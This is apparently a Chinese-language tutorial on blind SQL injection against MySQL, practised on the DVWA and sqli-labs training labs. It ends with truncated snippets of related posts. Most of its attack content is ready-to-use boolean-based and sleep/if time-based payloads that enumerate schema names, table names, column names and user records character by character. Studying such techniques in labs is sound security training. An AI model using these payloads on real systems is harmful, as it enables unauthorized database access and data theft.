首先還是寫一下核心的語句吧。
information_schema
schemata(schema_name)
tables(table_schema,table_name)
columns(table_schema,table_name,column_name)
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='dvwa';
select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';
select concat(username,password) from dvwa.users;
在sql注入過程中,應用介面僅僅返回true(頁面)或者false(頁面)。無法根據應用程式的返回頁面得到需要的資料庫資訊。可以通過構造邏輯判斷(比較大小)來得到需要的資訊。
-select id,name from product where id=1 and 1=1
布林型盲注步驟和語句
1.判斷當前資料庫名長度與資料庫名稱
and select length(database())>n //判斷資料庫名長度
and ascii(substr(database(),m,1))>n //擷取資料庫名第m個字元並轉換成ascii碼 判斷具體值
2.判斷資料庫的表長度與表名
and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n //判斷第一行表名的長度
and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //擷取第一行表名的第m個字串轉換為ascii值判斷具體為多少
3.判斷資料庫的欄位名長度與欄位名稱
and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n //判斷表名中欄位名的長度
adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //擷取表中字段的第m字串轉換為ascii值,判斷具體值
4.判斷欄位的內容長度與內容字串
and length((select user from users limit 0,1)) >1 //判斷字串內容長度
and ascii(substr((select user from users limit 0,1),m,1)) //擷取第m個字串轉換為ascii值
在sql注入過程中,無論注入是否成功,頁面完全沒有變化。此時只能通過使用資料庫的延時函式來判斷注入點一般採用響應時間上的差異來判斷是否存在sql注入,即基於時間型的sql盲注
- select id,name from product where id=1 and sleep(2)
基於時間盲注sleep函式
-在mysql下,sleep的語法如下:sleep(seconds)即sleep函式**執行延遲若干秒
-sleep()函式執行是有條件的,必須保障sql語句執行結果存在資料記錄才會停止指定的秒數,如果sql語句查詢結果為空,那麼sleep函式不會停止
觀察以下語句
第乙個語句:sleep函式設定查詢停留3s, sleep函式本身返回值為0,顯示查詢時間為3s
第二個語句:語句最後加上and 1=2 形成查詢邏輯錯誤,sleep函式不執行暫停,因此查詢時間為0s
基於時間盲注if函式
邏輯判斷函式if()
if(expr1,expr2,expr3) 如果expr1為真,則if函式執行expr2語句,否則if函式執行expr3語句
-select user from users where uer_id=1 and1=if(ascii(substr(database(),1,1))>1,sleep(5),1);
此處 如果條件ascii(substr(database(),1,1))>1成立則執行sleep(5),否則執行1
基於時間的盲注案例(sqli-lab less-9)
列舉當前資料庫名
- id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+
列舉當前資料庫的表名
- id =1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+
或者利用if函式
- id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+
列舉當前資料庫表的欄位名
- id =1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+
列舉每個字段對應的資料項內容
- id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+
sql注入之 布林盲注
一 布林型盲注 盲注,就是在伺服器沒有錯誤回顯是完成的注入攻擊。伺服器沒有錯誤回顯,對於攻擊者來說缺少了非常重要的資訊,所以攻擊者必須找到乙個方法來驗證注入的sql語句是否得到了執行。注入原理 ascii ord 函式,返回字元ascii碼值 引數 str單字元 length 函式,返回字串的長度。...
sql注入之布林盲注
今天我們主要講一下布林盲注是如何使用的,顧名思義,盲注,就是我們需要去不停的去測試,首先我們測試注入型別,然後我們再去帶入相應的函式資訊。布林盲注很明顯的就是ture跟fales,也就是說它會根據你輸入的注入資訊返回ture或者fales,也就沒有了之前的報錯資訊。布林盲注裡面比較常用得函式是len...
SQL注入 布林盲注
可以進行sql注入,但是不能通過sql注入漏洞看到資料庫中的資訊,但是可以通過真假判斷資料庫中的資訊 布林盲注的方法 構造邏輯判斷語句,判斷資訊的真假,取出所有的真值 以less 8為例 還是老步驟,初步判斷是否存在sql注入漏洞 返回you are in 無返回 可以初步判斷存在sql注入漏洞,並...